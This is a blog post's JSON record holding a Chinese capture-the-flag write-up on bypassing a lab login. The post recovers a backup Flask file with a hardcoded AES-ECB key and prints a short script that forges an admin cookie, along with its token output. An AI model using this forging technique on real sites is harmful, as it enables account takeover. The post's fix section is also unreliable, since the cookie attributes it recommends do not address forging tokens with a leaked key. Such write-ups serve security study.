{"id":125,"date":"2025-12-18T16:37:54","date_gmt":"2025-12-18T08:37:54","guid":{"rendered":"https:\/\/blog.marsrains.top\/?p=125"},"modified":"2026-04-03T14:56:56","modified_gmt":"2026-04-03T06:56:56","slug":"10-10-1-1828081","status":"publish","type":"post","link":"https:\/\/myblog.marsrains.top\/?p=125","title":{"rendered":"\u5229\u7528cookie\u5b89\u5168\u6f0f\u6d1e\u7ed5\u8fc7\u767b\u5f55\u9a8c\u8bc1"},"content":{"rendered":"\n

\u4e00\u3001\u6982\u8ff0<\/h2>\n\n\n\n

\u76ee\u6807\u7f51\u7ad9\uff1a10.10.1.182:8081<\/p>\n\n\n\n

\u6d4b\u8bd5\u76ee\u6807\uff1a\u7ed5\u8fc7\u767b\u5f55\uff0c\u76f4\u63a5\u7528cookie\u83b7\u53d6flag<\/p>\n\n\n\n

\u6d4b\u8bd5\u65f6\u95f4\uff1a2025\/12\/18<\/p>\n\n\n\n

\u6d4b\u8bd5\u4eba\u5458\uff1aMarsRain<\/p>\n\n\n\n

\u4e8c\u3001\u4fe1\u606f\u6536\u96c6<\/h2>\n\n\n\n

\u8fdb\u5165\u7f51\u7ad9\u540e\u53d1\u73b0\u767b\u5f55\u754c\u9762\u5df2\u7ecf\u6709\u63d0\u793a\u8d26\u53f7\u5bc6\u7801\u5747\u4e3aguest\uff0c\u767b\u5f55\u8fdb\u53bb\u5c1d\u8bd5<\/p>\n\n\n\n

\n
\"\"<\/div><\/figure>\n<\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6ca1\u6709\u4efb\u4f55\u53ef\u4ee5\u4ea4\u4e92\u7684\u5730\u65b9<\/p>\n\n\n\n

\u5c1d\u8bd5\u5728URL\u5904\u8f93\u5165\/robots.txt<\/summary>\n

\u4e3a\u4ec0\u4e48\u8981\u5728URL\u5904\u8f93\u5165robots.txt<\/mark>\uff1arobots.txt<\/code> \u662f\u4e00\u4e2a\u4f4d\u4e8e\u7f51\u7ad9\u6839\u76ee\u5f55\u7684\u6587\u672c\u6587\u4ef6\uff0c\u7528\u4e8e\u544a\u8bc9\u641c\u7d22\u5f15\u64ce\u722c\u866b\uff08robots\u3001spiders\uff09\u54ea\u4e9b\u9875\u9762\u6216\u76ee\u5f55\u53ef\u4ee5\u88ab\u6293\u53d6\uff0c\u54ea\u4e9b\u4e0d\u53ef\u4ee5\u3002\u5b83\u901a\u8fc7\u5236\u5b9a\u6293\u53d6\u89c4\u5219\uff0c\u5e2e\u52a9\u7f51\u7ad9\u7ba1\u7406\u5458\u63a7\u5236\u641c\u7d22\u5f15\u64ce\u5bf9\u7f51\u7ad9\u5185\u5bb9\u7684\u8bbf\u95ee\u3002<\/p>\n\n\n\n

\u5176\u4f5c\u7528\u5c31\u662f<\/p>\n\n\n\n

    \n
  • \u544a\u8bc9\u641c\u7d22\u5f15\u64ce\u54ea\u4e9b\u9875\u9762\u53ef\u4ee5\u6293\u53d6\uff0c\u54ea\u4e9b\u9875\u9762\u4e0d\u53ef\u4ee5\u6293\u53d6<\/li>\n\n\n\n
  • \u51cf\u5c11\u670d\u52a1\u5668\u8d1f\u62c5\uff0c\u907f\u514d\u722c\u866b\u8bbf\u95ee\u4e0d\u5fc5\u8981\u7684\u8d44\u6e90<\/li>\n\n\n\n
  • \u4fdd\u62a4\u9690\u79c1\u6216\u654f\u611f\u5185\u5bb9\uff0c\u4e0d\u88ab\u516c\u5f00\u7d22\u5f15<\/li>\n<\/ul>\n\n\n\n

    \u4e00\u4e2arobot.txt\u7684\u793a\u4f8b\uff1a<\/p>\n\n\n\n

    # \u9002\u7528\u4e8e\u6240\u6709\u722c\u866b\nUser-agent: *\n\n# \u4e0d\u5141\u8bb8\u8bbf\u95ee\u7f51\u7ad9\u540e\u53f0\u7ba1\u7406\u76ee\u5f55\nDisallow: \/admin\/\n\n# \u4e0d\u5141\u8bb8\u8bbf\u95ee\u4e34\u65f6\u6587\u4ef6\u5939\nDisallow: \/tmp\/\n\n# \u4e0d\u5141\u8bb8\u8bbf\u95ee\u5305\u542b\u7528\u6237\u9690\u79c1\u6570\u636e\u7684\u76ee\u5f55\nDisallow: \/private\/\n\n# \u5141\u8bb8\u8bbf\u95ee\u7f51\u7ad9\u6839\u76ee\u5f55\u548c\u516c\u5f00\u5185\u5bb9\nAllow: \/\n\n# \u6307\u5b9a\u7f51\u7ad9\u5730\u56fe\u4f4d\u7f6e\uff08\u65b9\u4fbf\u722c\u866b\u66f4\u597d\u7d22\u5f15\uff09\nSitemap: https:\/\/www.example.com\/sitemap.xml<\/mark><\/code><\/pre>\n<\/details>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u53d1\u73b0\u4e00\u4efdpy\u6587\u4ef6\u2014\u2014app.py.bak\uff0c\u4e0b\u8f7d\u4e0b\u6765\u540e\u53d1\u73b0\u662f\u7528\u6765\u751f\u6210cookie\u4ee3\u7801\uff0c\u5b58\u5728\u52a0\u5bc6\u7f3a\u9677<\/p>\n\n\n\n
    from flask import Flask, render_template, request, redirect, url_for, make_response\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad, unpad\nimport base64\nimport json\nimport os\nimport datetime\n\napp = Flask(__name__)\n\n# ---------------------------------------------------\n# CRYPTO CONFIGURATION (VULNERABLE)\n# ---------------------------------------------------\n# HARDCODED KEY! This is the primary vulnerability.\n# AES-ECB is also used, which is weak, but the key leak is the fatal flaw.\nSECRET_KEY = b'SafeBox_Secret_K' # 16 bytes\nBLOCK_SIZE = 16\n\ndef encrypt_data(data):\n    cipher = AES.new(SECRET_KEY, AES.MODE_ECB)\n    ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), BLOCK_SIZE))\n    return base64.b64encode(ct_bytes).decode('utf-8')\n\ndef decrypt_data(b64_data):\n    try:\n        ct = base64.b64decode(b64_data)\n        cipher = AES.new(SECRET_KEY, AES.MODE_ECB)\n        pt = unpad(cipher.decrypt(ct), BLOCK_SIZE)\n        return pt.decode('utf-8')\n    except (ValueError, KeyError):\n        return None\n...................................................................<\/mark>\n@app.route('\/login', methods=['GET', 'POST'])\ndef login():\n    if request.method == 'POST':\n        username = request.form.get('username')\n        password = request.form.get('password')\n        \n        # Simple Login Logic (No database for simplicity in this specific lab, focused on Crypto)\n        if username == 'guest' and password == 'guest':\n            user_data = json.dumps({'username': 'guest', 'role': 'user', 'exp': str(datetime.datetime.now())})<\/mark>\n            token = encrypt_data(user_data)\n            \n            resp = make_response(redirect(url_for('dashboard')))\n            resp.set_cookie('auth_token', token)\n            return resp\n        else:\n            return render_template('login.html', error=\"Invalid credentials. Try guest\/guest\")\n            \n    return render_template('login.html')\n...............................................<\/mark><\/code><\/pre>\n\n\n\n
    \u4e09\u3001\u6f0f\u6d1e\u5229\u7528\u548c\u5206\u6790<\/h2>\n\n\n\n
    \u52a0\u5bc6\u65b9\u5f0f\u548c\u5bc6\u94a5\u7ba1\u7406\u95ee\u9898<\/strong><\/td>\u770b\u5230\u4ee3\u7801\u4e2d\u4f7f\u7528\u4e86\u81ea\u5b9a\u4e49\u7684 encrypt_data<\/code> \u548c decrypt_data<\/code> \u51fd\u6570\uff0c\u5982\u679c\u5bc6\u94a5\u6cc4\u9732\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u81ea\u5df1\u751f\u6210\u4efb\u610f\u52a0\u5bc6 token<\/td><\/tr>
    Token \u4e0d\u5305\u542b\u6709\u6548\u671f\u6821\u9a8c<\/strong><\/td>\u7528\u6237\u6570\u636e\u4e2d exp<\/code> \u5b57\u6bb5\u662f\u8fc7\u671f\u65f6\u95f4\uff0c\u4f46\u4ee3\u7801\u91cc\u6ca1\u6709\u5bf9\u8fc7\u671f\u65f6\u95f4\u8fdb\u884c\u4efb\u4f55\u9a8c\u8bc1<\/td><\/tr>
    Cookie \u5b89\u5168\u5c5e\u6027\u7f3a\u5931<\/strong><\/td>\u53ea\u662f\u5bf9\u767b\u5f55\u7684\u7528\u6237\u4ee4\u724c\u8fdb\u884c\u4e86\u52a0\u5bc6\uff0c\u76f4\u63a5\u5229\u7528\u811a\u672c\u4fee\u6539\u5176\u4e2dguest\uff0c\u76f4\u63a5\u6539\u6210admin\u540e\u751f\u6210\u65b0\u7684cookie<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
    \u811a\u672c\uff1a\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\nimport base64\nimport json\nimport datetime\n\nSECRET_KEY = b'SafeBox_Secret_K'\nBLOCK_SIZE = 16\n\ndef encrypt_data(data):\n    cipher = AES.new(SECRET_KEY, AES.MODE_ECB)\n    ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), BLOCK_SIZE))\n    return base64.b64encode(ct_bytes).decode('utf-8')\n\n# \u6784\u9020 Payload\nadmin_payload = json.dumps({\n    'username': 'admin',\n    'role': 'admin',\n    'exp': str(datetime.datetime.now())\n})\n\nprint(f\"Admin Token: {encrypt_data(admin_payload)}\")\n\n\u8f93\u51fa\u7ed3\u679c\uff1a\nAdmin Token: lWfFm0XN7GE3GaHQb+neJDfwA2wfT5ZMFo12i+o00BKMCEQAMdrdxwMnxiaPvg9MBSXnOMvKNGbtPN3lmjaCyvn3EL6ZYEwd5Op6AGtnt1c=<\/mark><\/code><\/pre>\n\n\n\n
    \u5c06\u751f\u6210\u7684\u65b0cookie\u653e\u8fdbburpsuite\u5f53\u4e2d\u7684inspector<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u4fee\u6539inspector\u4e2d\u7684value\u540eapply changes <\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u653e\u884c\u67e5\u770b\u7ed3\u679cflag{dont_hardcode_keys_and_dont_roll_your_own_crypto}<\/mark><\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u56db\u3001\u6574\u6539\u5efa\u8bae<\/h2>\n\n\n\n
    \u4ece\u8fd9\u6b21\u6700\u660e\u663e\u7684\u5229\u7528cookie\u8fdb\u884c\u653b\u51fb\u5c31\u80fd\u660e\u663e\u5f97\u51fa\u524d\u7aef\u672a\u8bbe\u7f6e\u76f8\u5173\u7684cookie\u5b89\u5168\u5c5e\u6027\uff0c\u5982\uff1a<\/p>\n\n\n\n
    \n
      \n
    • HttpOnly;<\/mark><\/li>\n\n\n\n
    • Secure;<\/mark><\/li>\n\n\n\n
    • SameSite=Strict<\/mark><\/li>\n<\/ul>\n<\/div>\n\n\n\n
      \u76f4\u63a5\u5728\u751f\u6210cookie\u4ee3\u7801\u4e2d\u95f4\u63d2\u5165\u751f\u6210\u5b89\u5168\u5c5e\u6027\u5373\u53ef<\/p>\n\n\n\n
      @app.route('\/login', methods=['GET', 'POST'])\ndef login():\n    form = LoginForm()\n    if form.validate_on_submit():\n        username = form.username.data\n        password = form.password.data\n\n        if verify_password(username, password):\n            exp = (datetime.datetime.utcnow() + datetime.timedelta(minutes=TOKEN_EXPIRY_MINUTES)).isoformat()\n            user_data = json.dumps({'username': username, 'role': 'user', 'exp': exp})\n            token = encrypt_data(user_data)\n\n            resp = make_response(redirect(url_for('dashboard')))\n            # \u8bbe\u7f6e\u5b89\u5168\u5c5e\u6027\n            resp.set_cookie('auth_token', token,<\/mark>\n                            httponly=True,<\/mark>\n                            secure=True,  # \u751f\u4ea7\u73af\u5883\u5fc5\u987b HTTPS<\/mark>\n                            samesite='Strict',<\/mark>\n                            max_age=TOKEN_EXPIRY_MINUTES*60)<\/mark>\n            return resp<\/mark>\n        else:\n            return render_template('login.html', form=form, error=\"Invalid credentials\")\n    return render_template('login.html', form=form)\n<\/code><\/pre>\n\n\n\n
      <\/p>\n","protected":false},"excerpt":{"rendered":"
      \u4e00\u3001\u6982\u8ff0 \u76ee\u6807\u7f51\u7ad9\uff1a10.10.1.182:8081 \u6d4b\u8bd5\u76ee\u6807\uff1a\u7ed5\u8fc7\u767b\u5f55\uff0c\u76f4\u63a5\u7528cookie\u83b7\u53d6flag \u6d4b\u8bd5 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,15],"tags":[18],"class_list":["post-125","post","type-post","status-publish","format-standard","hentry","category-capture-the-flag","category-15","tag-18"],"_links":{"self":[{"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=\/wp\/v2\/posts\/125","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=125"}],"version-history":[{"count":15,"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=\/wp\/v2\/posts\/125\/revisions"}],"predecessor-version":[{"id":347,"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=\/wp\/v2\/posts\/125\/revisions\/347"}],"wp:attachment":[{"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=125"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=125"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=125"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}